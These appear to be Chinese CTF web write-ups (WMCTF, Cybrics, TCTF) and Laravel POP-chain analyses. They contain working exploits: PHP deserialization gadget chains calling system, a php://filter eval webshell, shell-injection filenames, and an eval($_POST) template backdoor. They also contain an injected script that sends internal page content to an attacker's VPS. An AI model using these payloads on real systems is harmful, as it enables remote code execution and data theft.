二次编码就不提了,这里简单看一下新的方法,可以利用zlib.deflate和zlib.inflate解压缩的方式来绕过:1
$content=urldecode('php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=?><?php%0deval($_GET[sky]);?>');
成功getshell:
读取flag文件:1
fffffllllllllaaaaaggggggg_as89c79as8
获得flag:
此题修复了之前可用session upload progress进行getshell的非预期解法,那么只能尝试进行require_once的绕过了,分析到其实现源码:
发现require文件时,在对软链接的操作上存在一些缺陷,似乎并不会进行多次解析获取真实路径。
但是如何找到flag.php文件的软链接呢?这里可以再如下路径中发现:1
/proc/self/root/var/www/html/index.php
我们尝试套娃:1
http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/index.php
发现可以成功包含文件:
那么使用伪协议来读取flag:1
http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
题目又是给了一个反序列化语句:1
unserialize($_GET['a']);
考察对gadget的串联能力。
这里还是从destruct入手,选择CLI\Agent::destruct:1
2
3
4
5
6
7
8
9function __destruct() {
if (isset($this->server->events['disconnect']))
{
$func=$this->server->events['disconnect'];
if(is_callable($func)){
$func($this);
}
}
}
此处根据:1
$this->server->events['disconnect']
我们可以尝试将$func控制为任意函数,随便选择一个类来使用:
那么选择哪个函数来使用进行RCE就非常重要,这里由于无法控制参数,因此直接找php built-in函数或许不行。那么只能考虑构造__call的方法,来进行攻击,搜寻类似于如下情况的例子:1
$xxx->xxxx($this->xxxx)
观察上述格式的语句可能出现的函数,然后兴许可以触发call,并且达到参数可控的目的。
这里搜罗一番,可以找到CLI\Agent::fetch:
此处,我们发现目标对象可控,参数可控,天时地利人和,只差危险的call函数。
这里搜索call函数需要优先考虑函数名可控情况,这里搜寻可发现DB\SQL\Mapper::call:1
2
3
4
5
6
7function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)?
$this->props[$func]:
$this->$func),$args
);
}
其函数名为:1
$this->props[$func]
完全可以通过数组进行bypass。
因此可构造exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
namespace DB\SQL {
class Mapper {
protected $props;
function __construct($props)
{
$this->props = $props;
}
}
}
namespace CLI {
class Agent{
protected $server;
protected $socket;
function __construct($server,$socket)
{
$this->server = $server;
$this->socket= $socket;
}
}
class WS{
protected $events = [];
function __construct($events)
{
$this->events = $events;
}
}
}
namespace {
class Image{
public $events = [];
function __construct($events)
{
$this->events = $events;
}
}
$a = new DB\SQL\Mapper(array("read"=>"system"));
$b= new CLI\Agent($a,'cat /etc/flagzaizheli');
$c = new Image(array("disconnect"=>array($b,'fetch')));
$d = new CLI\Agent($c,'');
$e = new CLI\WS($d);
echo urlencode(serialize($e))."\n";
}
当然这里在测试时,发现直接使用CLI\Agent不行,在autoload时:
发现文件包含错误,导致我们反序列化时,找不到类的定义:
于是先从CLI\WS入手,让其包含正确的CLI\Agent定义文件:
我们来获取flag:1
http://webweb.wmctf.wetolink.com/?a=O%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A5%3A%22Image%22%3A1%3A%7Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A4%3A%22read%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A2%3A%22ls%22%3B%7Di%3A1%3Bs%3A5%3A%22fetch%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A0%3A%22%22%3B%7D%7D
寻找flag文件:1
2
3
4
5
6$a = new DB\SQL\Mapper(array("read"=>"system"));
$b= new CLI\Agent($a,'find / | grep flag');
$c = new Image(array("disconnect"=>array($b,'fetch')));
$d = new CLI\Agent($c,'');
$e = new CLI\WS($d);
echo urlencode(serialize($e))."\n";
获取flag:1
2
3
4
5
6$a = new DB\SQL\Mapper(array("read"=>"system"));
$b= new CLI\Agent($a,'cat /etc/flagzaizheli');
$c = new Image(array("disconnect"=>array($b,'fetch')));
$d = new CLI\Agent($c,'');
$e = new CLI\WS($d);
echo urlencode(serialize($e))."\n";
这次比赛web题量太大,还有一些题目值得推敲,后续有空复现再继续写吧XD~
]]>周末打了俄罗斯知名战队LCBC举办的2020 Cybrics CTF,以下是Web题题解。
锁定到会飘的验证码代码上,将其飘来飘去的代码去除:
然后手动调用5次固定不动的验证码:
此时验证码不动,点5次就可以去Get Flag了:
获得flag:
题目给了源码,于是进行审计,关键代码如下:1
2
3file = request.files['file']
logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
我们发现file.filename会被拼进 subprocess.Popen,从而导致可能存在命令注入,于是查看file.filename相关的过滤:1
2
3
4
5
6
7
8
9
10
11
12
13
14if not allowed_file(file.filename):
logging.debug(f'Invalid file extension of file: {file.filename}')
flash('Invalid file extension', 'danger')
return redirect(request.url)
if file.content_type != "image/gif":
logging.debug(f'Invalid Content type: {file.content_type}')
flash('Content type is not "image/gif"', 'danger')
return redirect(request.url)
if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)
发现一共有3个限制,第一个是需要.gif后缀结尾,第二个是需要content-type为image/gif,而第三个则是绕过正则:1
^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$
对于该正则,发现可用管道符可用,于是想到可用||进行绕过:1
pic.gif' || xxxxxx || '123.gif
这里首先尝试反弹shell,但是发现好像比较困难,我弹了几次没成功,于是改为将结果写入文件:1
ls ../../../ > uploads/ed3471ad-8cba-4d2a-8dde-b512e53b6648/123.png
操作如下:
然后去访问写入文件即可:
我们直接cat main.py,因为flag写在文件内:1
cat main.py > uploads/ed3471ad-8cba-4d2a-8dde-b512e53b6648/123.png
于是可以获取flag。
又是一道源码审计题目,首先看一下功能:1
2
3
4
5
6
7
8
9$pages = [
"" => "main.php",
"login" => "login.php",
"logout" => "logout.php",
"inside" => "inside.php",
"newtemplate" => "newtemplate.php",
"calc" => "calc.php",
"sharelink" => "sharelink.php",
];
题目核心功能不多,大概分为登录,添加模板,分享链接,计算器。
这里逐个审计,发现newtemplate和sharelink存在文件写入操作,可以控制。
首先是newtemplate:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41if (trim(@$_POST['html'])) {
do {
$html = trim($_POST['html']);
if (strpos($html, '<?') !== false) {
$error = "Bad chars";
break;
}
$requiredBlocks = [
'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',
];
foreach ($requiredBlocks as $block) {
if (strpos($html, $block) === false) {
$error = "Missing required block: '$block'";
break(2);
}
}
$uuid = uuid();
if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
$error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
break;
}
redir(".");
} while (false);
}
发现我们可以写入任意字符,但是不能使用<?,那么我们不能简单写入shell。
继续审计,来到calc.php:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27if (trim(@$_POST['field'])) {
$field = trim($_POST['field']);
if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
$value = "BAD";
} else {
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
} else {
try {
$value = eval("return $field;");
} catch (Throwable $e) {
$value = null;
}
if (!is_numeric($value) && !is_string($value)) {
$value = "ERROR";
} else {
$value = (string)$value;
}
}
}
echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}
发现关键代码:1
2
3
4
5if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
}
此处我们发现写入内容由3段拼接而成:1
2
3<script>var preloadValue = =json_encode((string)($field)) ;</script>\n
file_get_contents("inc/calclib.html")
file_get_contents("calcs/$userid/templates/$template.html")
第3段文件内容我们完全可控,而第一段则为我们提供<?=,于是这里可以想到:1
$field='/*'
如此一来,我们再将$template.html的内容与其拼接:1
2
3
4
5
6
7
8
9
10
11
12
13
14*/1));@eval($_POST['a']);?>'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',
这样我们即可构造出一个php文件内容大致如下:1
/* xxxxxx */1)); @eval($_POST['a']); =json_encode((string)(
即可执行任意php代码。
操作如下:
此时将生成的模板进行应用:1
http://109.233.57.94:40389/?p=calc&template=f95dbec6-730f-4a60-f318-fbdedb6115d4
我们利用share功能写入field:
根据sharelink获取拼接后的php文件名:
蚁剑连接,即可获取shell,得到flag:
访问题目,给了一个发送请求的页面:
这里看了下headers,发现存在Vary,同时考虑到题目使用了cdn:
本想尝试缓存欺骗,去获取一下origin的值:
此时发现了一个子域名:1
prod.free-design-feedback-cybrics2020.ctf.su
然后访问来到如下页面:
这里一通测试,发现题目没有任何反应,同时能看见别人的notes:
测试了N久无果,于是想会不会考察其他内容,首先尝试看外层请求link的功能,能不能加载外部js,于是在自己服务器上放html,内容如下:1
2
3<script>
window.location='http://ip:port'
</script>
发现跳转成功,于是发现可以执行任意js代码,尝试打cookie,但是发现并没有结果,于是想到利用js扫一下内网端口,并发现5000端口开放,利用如下js,带出5000端口页面内容:1
2
3
4
5
6
7
8
9<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
document.location='http://vps_ip:23334/?'+btoa(xmlhttp.responseText);
}
xmlhttp.open("GET","http://127.0.0.1:5000",true);
xmlhttp.send();
</script>
得到回显:
解码后得到页面内容:
发现内网127.0.0.1:5000也开了一个note相关的功能,同时是version 1.0而非version 0.9,并且题目提示可以访问:1
<a href="/notes?name=Ann Cobb">Show all notes</a>
尝试更改js去请求该页面:1
2
3
4
5
6
7
8
9<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
document.location='http://vps_ip:23334/?'+btoa(xmlhttp.responseText);
}
xmlhttp.open("GET","http://127.0.0.1:5000/notes?name=Ann Cobb",true);
xmlhttp.send();
</script>
但发现返回的结果都是500,此时心态崩了,尝试利用post创建新的notes:1
2
3
4
5
6<form method="POST" id="check_form" enctype="multipart/form-data" action="/">
URL: <input type=text name=url class="form-control">
Score: <input type=text name=score class="form-control">
Feedback: <textarea placeholder="Dear, {{ customer }}. Thank you for choosing our service." name="feedback" class="form-control"></textarea>
<input type="submit" value="Save" class="form-control btn btn-primary">
</form>
但发现依旧访问500……,脑洞猜想,访问/notes?name=xxx会出现500是因为用户名不存在,是否可以创建notes的时候,多一个参数name,如此指定用户名,再进行访问,同时这里看到feedback里有:1
{{ customer }}
应该不难想到,可以利用ssti获取flag。
读取到文件后,才发现该题确实是坑人= =:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30def index():
name = request.args.get("name", fake.name())
if request.method == "POST":
name = request.form.get("name", name)
url = request.form.get("url", None)
score = request.form.get("score", None)
feedback = request.form.get("feedback", None)
if url is not None and score is not None and feedback is not None:
(Path("notes") / name).mkdir(parents=True, exist_ok=True)
with (Path("notes") / name / f"{hashlib.sha256(url.encode()).hexdigest()}.json").open("w") as w:
w.write(json.dumps({
"url": url, "score": score, "feedback": feedback, "name": name
}))
flash("Saved")
return render_template("index.html", name=name)
def notes():
name = request.args.get("name", None)
if name is None:
return redirect("/")
files = [f for f in listdir(str(Path("notes") / name)) if isfile(str(Path("notes") / name / f)) and ".json" in f]
notes = [json.load((Path("notes") / name / f).open()) for f in files]
for note in notes:
note["feedback"] = Template(note["feedback"]).render(customer=note['url'])
return render_template("notes.html", notes=enumerate(notes))
在源码里可以获取flag:1
flag = b'cybrics{imagine_how_dangerous_is_that_every_site_can_hack_you_legally}'
这次Cybrics CTF Web做的有点难受,感觉有点misc和脑洞了,不是非常有趣( .
]]>Laravel 7中由于一些有所类修复,导致一些pop chain无法使用,于是这次在Laravel 5系列中,也做一次总结,列举比较适合的切入点和查找新链的思路。
为了更好的找出切入点,我这里直接写了一个脚本,列举出所有包含destruct的class和其destruct的定义,并将laravel 5和laravel 7进行比对:
其实不难发现,Laravel 7和Laravel 5在切入点这一块,并无太多的区别,几乎一致,一般修改均为一些微调。
同时我们可以搜寻一下切入点,一般分为如下几类:1
2
3__destruct中$this->xxxx()调用形式
__destruct中$this->xxx->yyy()调用形式
__destruct中built-in function调用形式
那么本文对于laravel 5的pop chain寻找也围绕这3点进行展开。
根据这个调用形式进行寻找,有比较知名的CVE-2019-9081,我们可以看到其函数定义:1
2
3
4
5
6
7
8Illuminate\Foundation\Testing\PendingCommand::__destruct
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
此处run函数可以引入RCE风险,此处分析不再赘述,可以参考文章:1
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
当然这个类在Laravel 7中已经被修复。
除此之外,还有包括上篇文章我们分析过的:1
2
3
4
5
6
7Illuminate\Routing\PendingResourceRegistration::__destruct
public function __destruct()
{
if (! $this->registered) {
$this->register();
}
}
此处register函数可以引入RCE风险,也不再赘述,可以参考上一篇文章。
类似的调用情况同样很多,我简单列举几个:
GuzzleHttp\Cookie中常见的:1
$this->save();
Monolog\Handler和Symfony\Component中常见的:1
$this->close();
League\Flysystem中常见的:1
$this->disconnect()
除此之外,还有一些在__destruct中出现频率不高的,如果感兴趣的都可以跟进进行尝试构造。
而对于这种调用形式,我们在之前的文章中提到过,其有2种思路进行利用:1
2__call魔法方法
同名函数
我们看几个典型的例子:1
2
3
4
5Illuminate\Broadcasting\PendingBroadcast::__destruct
public function __destruct()
{
$this->events->dispatch($this->event);
}
此处由于$this->events和$this->event均可控,因此可利用同名函数或__call的方式进行RCE pop chain的构造。
除此之外:1
2
3
4
5Symfony\Component\Routing\Loader\Configurator\ImportConfigurator::__destruct
public function __destruct()
{
$this->parent->addCollection($this->route);
}
同样有着相似的问题,虽然可能没有同名危险函数,但可以利用__call来进行构造,配合Faker\Generator来构造RCE pop chain。
并且如下类也存在类似的问题:1
2
3
4
5
6
7
8Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator::__destruct
public function __destruct()
{
if (null === $this->prefixes) {
$this->collection->addPrefix($this->route->getPath());
}
$this->parent->addCollection($this->collection);
}
相应的,其实我们在构造同名函数RCE pop chain的时候其实还算好,但当构造__call的时候,由于call name一般不可控,毕竟Faker\Generator中name可通过数组控制的情况不算特别多,那么此时可能会遇到瓶颈。
所以这种形式的利用手段并不是想象中那么丝滑(,还是需要精心构造的。
此类情况一般偏少,我们将搜寻锁定在敏感函数上,例如:1
call_user_func、call_user_func_array、system、eval......
这里不难直接发现一个类:1
2
3
4
5
6
7GuzzleHttp\Psr7\FnStream::__destruct
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
我们发现其直接调用了call_user_func,同时参数可控,为 $this->_fn_close,但难点在于该函数只可控第一个参数,因此这里我们可以想到能否调用类内方法,如果该方法不需传递参数且方法内敏感函数参数可控,为类内属性,那么即可利用。
这里不难想到,诸如:Illuminate\Foundation\Testing\PendingCommand的run方法,Illuminate\Routing\PendingResourceRegistration的register方法,都是可以通过其进行利用的。
当然这会显得有些取巧,如果你有兴趣的话,可以过一遍危险函数所在的方法,看看是不是其可以无参调用~
但是不幸的是,当前这个例子中,我们跟进类进行分析:1
2
3
4public function __wakeup()
{
throw new \LogicException('FnStream should never be unserialized');
}
由于存在wakeup,我们在利用这个chain的时候会抛出’FnStream should never be unserialized’的错误,而导致无法利用。
当然,我们也可以不仅仅找destruct函数内的危险函数,尝试搜寻一些危险函数所在的方法和类,不难找到如下几个情况:PHPUnit\Framework\MockObject\Stub\ReturnCallback::invoke,关键代码如下:1
2
3
4public function invoke(Invocation $invocation)
{
return \call_user_func_array($this->callback, $invocation->getParameters());
}
又如Mockery\Loader\EvalLoader::load,关键代码如下:1
2
3
4
5
6
7public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
诸如此类情况,我们都可以将其整合进call_user_func或者call_user_func_array可控2个参数的地方,例如和Illuminate\Broadcasting\PendingBroadcast::__destruct组合,构造新的chain。
Laravel 5由于过滤相对于Laravel 7来说缺失了一些,因此更容易被组建pop chain,同时laravel由于提供了大量的可用于构造的模块,也会衍生出各种排列组合的pop chain,但万变不离其中,最关键的还是寻找切入点。
本文提出的一些寻找pop chain的思路也是抛砖引玉,实际上寻找切入点的方式远远不止__destruct和文中所提及的3种类型,如果你有好的想法也欢迎和我联系交流~
总之还是那句话,求求CTF里别再出laravel的pop chain构造了( .
晚上闲着无聊,想到real world和ctf里非常喜欢出题考察的laravel,于是下了个7系列版本分析着玩一玩,梳理了一下现阶段可用的一些exp。
网上冲浪看到一篇blog讲laravel 5.8的漏洞,感觉挺有趣的:1
https://nikoeurus.github.io/2019/12/16/laravel5.8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Routes%E7%9B%AE%E5%BD%95
文章提供了一个切入点,即1
Illuminate\Broadcasting\PendingBroadcast::__destruct
关键位置代码如下:1
2
3
4public function __destruct()
{
$this->events->dispatch($this->event);
}
我们看到在__destruct函数中使用通过$this->events调用了方法dispatch,参数为$this->event。
这一位置在最新版中依然存在,同时我们可以发现$this->events和$this->event均为可控点,那么可以玩的花样就比较多了:1
21.通过dispatch + 可控$this->events 触发__call方法
2.通过同名方法进行攻击
尝试搜寻一番__call魔法方法,发现一个切入点:1
Faker\Generator::__call
关键代码如下:1
2
3
4public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
跟进类内方法format:1
2
3
4public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
此处比较开心的是,正好调用参数时,使用了类内方法getFormatter,我们查看该方法的关键内容:1
2
3
4
5
6public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
.......
显然我们可以使用数组进行bypass,例如:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30$formatters['dispatch'] = xxx
```
如此一来即可任意RCE,我们编写exp:
```php
<?php
namespace Faker{
class Generator{
protected $formatters;
public function __construct($formatters){
$this->formatters = $formatters;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($event, $events)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace{
$a = new Faker\Generator(array('dispatch' => 'system'));
$b = new Illuminate\Broadcasting\PendingBroadcast('ls',$a);
echo urlencode(serialize($b));
}
?>
全局搜索哪些类有dispatch方法,可以定位到关键类:Illuminate\Bus\Dispatcher。
我们跟进其dispatch函数:1
2
3
4
5
6
7public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
跟进dispatchToQueue函数:1
2
3
4
5
6
7public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
.......
}
不难发现有call_user_func,而此时$this->queueResolver和$connection均可控。
那么只要通过如下限制即可:1
if ($this->queueResolver && $this->commandShouldBeQueued($command))
我们跟进commandShouldBeQueued:1
2
3
4protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
发现只要是继承ShouldQueue接口的类皆可。
这里随便搜一下,发现5个类均可用,编写exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver="")
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Events{
class CallQueuedListener
{
public $connection;
public function __construct($connection="")
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection="")
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection="")
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Notifications{
class SendQueuedNotifications
{
public $connection;
public function __construct($connection="")
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Queue{
class CallQueuedClosure
{
public $connection;
public function __construct($connection="")
{
$this->connection = $connection;
}
}
}
namespace{
$a = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Events\CallQueuedListener('ls');
// $b = new Illuminate\Broadcasting\BroadcastEvent('ls');
// $b = new Illuminate\Foundation\Console\QueuedCommand('ls');
// $b = new Illuminate\Notifications\SendQueuedNotifications('ls');
// $b = new Illuminate\Queue\CallQueuedClosure('ls');
$c = new Illuminate\Broadcasting\PendingBroadcast($a,$b);
echo urlencode(serialize($c));
}
这5个exp异曲同工,均可使用。
那么对于诸如如上对象可控,对象调用方法参数可控的例子还有吗:
搜寻一番,可以发现关键类:Illuminate\Routing\PendingResourceRegistration
关键代码如下:1
2
3
4
5
6public function __destruct()
{
if (! $this->registered) {
$this->register();
}
}
跟进类内方法register:1
2
3
4
5
6
7
8public function register()
{
$this->registered = true;
return $this->registrar->register(
$this->name, $this->controller, $this->options
);
}
此时我们发现:1
2
3
4
5$this->registered
$this->registrar
$this->name
$this->controller
$this->options
均为可控点,因此我们又有2条路可走:1
21.使用__call魔法方法构造pop chain
2.寻找register同名函数构造pop chain
对于1的情况,其实直接复用之前的Faker\Generator类即可,我们很容易写出exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
namespace Faker{
class Generator{
protected $formatters;
public function __construct($formatters){
$this->formatters = $formatters;
}
}
}
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options;
public function __construct($registrar, $name, $controller, $options)
{
$this->registrar = $registrar;
$this->name = $name;
$this->controller = $controller;
$this->options = $options;
}
}
}
namespace{
$a = new Faker\Generator(array('register' => 'call_user_func'));
$b = new Illuminate\Routing\PendingResourceRegistration($a,'call_user_func','system','ls');
echo urlencode(serialize($b));
}
同理由于这个call_user_func 2个参数均可控,因此可调用任意对象的任意方法,传入任意参数。可以衍变出无数种可能。因此不再赘述。
继续搜寻类似的方法,可以发现关键类:Symfony\Component\Routing\Loader\Configurator\ImportConfigurator:
关键代码:1
2
3
4public function __destruct()
{
$this->parent->addCollection($this->route);
}
此处我们的对象和参数均可控,那么同样可以结合Faker\Generator类写出exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
namespace Faker{
class Generator{
protected $formatters;
public function __construct($formatters){
$this->formatters = $formatters;
}
}
}
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($parent, $route)
{
$this->parent = $parent;
$this->route = $route;
}
}
}
namespace{
$a = new Faker\Generator(array('addCollection' => 'system'));
$b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'ls');
echo urlencode(serialize($b));
}
对于laravel的pop chain构造层出不穷,大概围绕以下几个思路展开:1
2
3
4
5
6
71.__destruct内直接调用的函数存在风险
2.__destruct内调用方法的对象可控
2.1 同名方法
2.2 __call方法
3.拼接组合
3.1 call_user_func等函数 只有对象和方法名可控,需要拼接1的chain
3.2 call_user_func等函数 参数均可控,随意拼接chain
对于3的情况其实比较容易了,这里可以衍生出大量的chain构造,所以关键点还是找__destruct切入点。
]]>TCTF是国内高质量比赛之一,这次周末参加了一下,以下是Web题解。
题目界面大致如下:
我们拥有preview和share两个功能:
一个是预览我们生成的微信对话图,一个是将其分享。
在尝试访问分享图片时,发现如下路径:
在随手测试的时候,发现如果乱改后缀,例如将png改为txt,会出现如下的报错信息:1
{"error": "Convert exception: unable to open image `previews/5fac1098-72ab-4b28-b111-465aceb0e7ec.txt': No such file or directory @ error/blob.c/OpenBlob/2874"}
那么大概可以猜测到题目可能是ImageMagick,同时测试过程中,我们发现:
如果将后缀改为htm,是可以正常转换的,那么此时可以看到我们输入的message:
那么这里尝试进行闭合,发现可以引入标签:1
data=[{"type":0,"message":"[aaaa\"/><image src=xxxx/>]"}]
但是存在过滤,src被过滤了,那这里先考虑读文件,我们可以利用png后缀,将文件内容转为图片带出:
得到如下反馈:
那么尝试寻找web文件路径,想读/proc/self/下的文件,但发现proc也被过滤,这里尝试双写绕过:
发现可以成功进行bypass:
在/app目录下可以读取app.py的内容,发现如下路由:1
http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws
访问后,发现需要进行xss,触发alert(1)即可:
但这里存在csp:1
img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'
最初想利用如下形式来进行攻击:1
<script src=xxx.js>
但src被过滤:
这里同样使用双写来进行bypass:
但发现难以找到可控的js文件,于是考虑到其他方法,可使用meta标签进行跳转:
并使用htm后缀,将路径发给管理员即可触发alert,获取flag.
题目给了如下代码:1
2
3
4
5
6
if (isset($_GET['rh'])) {
eval($_GET['rh']);
} else {
show_source(__FILE__);
}
估摸可能又是bypass open_basedir disable_function一类的题目,首先看一下phpinfo():1
http://pwnable.org:19260/?rh=phpinfo();
发现目标是php 7.4.5,同时Server API为FPM/FastCGI:
disable_function如下:1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir如下:
首先尝试disable_function,由于目录不可写,所以选择使用如下方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
echo "{$f}<br/>";
}
发现可以成功列目录:
得到flag.h和flag.so文件名。
由于题目的部署不慎,导致open_basedir经常被置空(所以出现了revenge,正规解法在下一道题里讲),所以出现了下述操作:
可以直接读文件……发现flag.h中定义了获取flag的c函数,那么想到php 7.4可使用FFI调用c函数,于是查看phpinfo():
于是使用如下方法获取flag:
出题人心有不甘,又出了一道revenge,这次php版本升级到7.4.7,同时更换了Server API:
并且大量增加了disable_function:
但open_basedir没有变:
我们依旧可以bypass open_basedir进行列目录:
